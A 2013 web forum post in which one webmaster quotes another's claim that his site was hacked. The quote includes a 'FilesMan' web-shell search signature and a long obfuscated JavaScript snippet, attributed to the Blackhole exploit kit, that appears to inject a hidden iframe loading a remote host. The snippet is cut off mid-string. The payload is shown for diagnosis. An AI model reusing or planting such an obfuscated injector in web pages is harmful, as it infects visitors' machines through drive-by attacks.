View Single Post
Old 07-30-2013, 11:00 PM  
hellboy78
Confirmed User
 
hellboy78's Avatar
 
Industry Role:
Join Date: Jan 2013
Location: Italy-BVI-Swiss-Montecarlo
Posts: 624
Quote:
Originally Posted by tokmansta View Post
If someone had to remove it, it wasn't from an ad network. Your website most likely got infected by a vulnerable script and there is the possibility you still have a backdoor hidden somewhere on your server.

If you know how to search inside files from the command-line (which i doubt) search for

$default_action = "FilesMan";

or any of the signatures on http://labs.sucuri.net/?malwaredb


warn: WordPress version outdated: Upgrade required. <= fix this!

This script is still on your site and has a high chance of being the culprit. Other sites who have the same code are all infected with the same "blackhole exploit kit"

<script>ps="s"+"p"+"l"+"i"+"t";asd=function(){--(d.body)};a=("20,20,160,155,47,57,153,166,152,174, 164,154,165,173,65,156,154,173,114,163,154,164,154 ,165,173,172,111,200,133,150,156,125,150,164,154,5 7,56,151,166,153,200,56,60,142,67,144,60,202,24,20 ,20,20,160,155,171,150,164,154,171,57,60,102,24,20 ,20,204,47,154,163,172,154,47,202,24,20,20,20,153, 166,152,174,164,154,165,173,65,176,171,160,173,154 ,57,51,103,160,155,171,150,164,154,47,172,171,152, 104,56,157,173,173,167,101,66,66,157,166,172,173,1 50,175,150,165,170,174,154,172,173,65,151,160,201, 66,172,113,201,73,173,67,146,67,167,135,121,135,67 ,146,164,172,123,130,64,67,125,171,156,64,150,67,1 46,72,176,76,156,66,70,71,100,100,110,67,152,64,15 6,135,114,67,163,156,140,174,66,67,100,135,146,77, 72,67,140,76,122,74,70,76,131,146,173,73,67,171,14 6,115,75,111,67,126,74,77,125,66,56,47,176,160,153 ,173,157,104,56,70,67,67,56,47,157,154,160,156,157 ,173,104,56,70,67,67,56,47,172,173,200,163,154,104 ,56,176,160,153,173,157,101,70,67,67,167,177,102,1 57,154,160,156,157,173,101,70,67,67,167,177,102,16 7,166,172,160,173,160,166,165,101,150,151,172,166, 163,174,173,154,102,163,154,155,173,101,64,70,67,6 7,67,67,167,177,102,173,166,167,101,67,102,56,105, 103,66,160,155,171,150,164,154,105,51,60,102,24,20 ,20,204,24,20,20,155,174,165,152,173,160,166,165,4 7,160,155,171,150,164,154,171,57,60,202,24,20,20,2 0,175,150,171,47,155,47,104,47,153,166,152,174,164 ,154,165,173,65,152,171,154,150,173,154,114,163,15 4,164,154,165,173,57,56,160,155,171,150,164,154,56 ,60,102,155,65,172,154,173,110,173,173,171,160,151 ,174,173,154,57,56,172,171,152,56,63,56,157,173,17 3,167,101,66,66,157,166,172,173,150,175,150,165,17 0,174,154,172,173,65,151,160,201,66,172,113,201,73 ,173,67,146,67,167,135,121,135,67,146,164,172,123, 130,64,67,125,171,156,64,150,67,146,72,176,76,156, 66,70,71,100,100,110,67,152,64,156,135,114,67,163, 156,140,174,66,67,100,135,146,77,72,67,140,76,122, 74,70,76,131,146,173,73,67,171,146,115,75,111,67,1 26,74,77,125,66,56,60,102,155,65,172,173,200,163,1 54,65,163,154,155,173,104,56,64,70,67,67,67,67,167 ,177,56,102,155,65,172,173,200,163,154,65,173,166, 167,104,56,67,56,102,155,65,172,173,200,163,154,65 ,167,166,172,160,173,160,166,165,104,56,150,151,17 2,166,163,174,173,154,56,102,155,65,172,173,200,16 3,154,65,173,166,167,104,56,67,56,102,155,65,172,1 54,173,110,173,173,171,160,151,174,173,154,57,56,1 76,160,153,173,157,56,63,56,70,67,67,56,60,102,155 ,65,172,154,173,110,173,173,171,160,151,174,173,15 4,57,56,157,154,160,156,157,173,56,63,56,70,67,67, 56,60,102,24,20,20,20,153,166,152,174,164,154,165, 173,65,156,154,173,114,163

I think you owe Juicyads an apology?
I don't know where you get this info, because my site is clean now
__________________
MVGCash.com - MVG-Productions
Telegram: @Mvgprod - Teams: bestdealmarket
hellboy78 is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook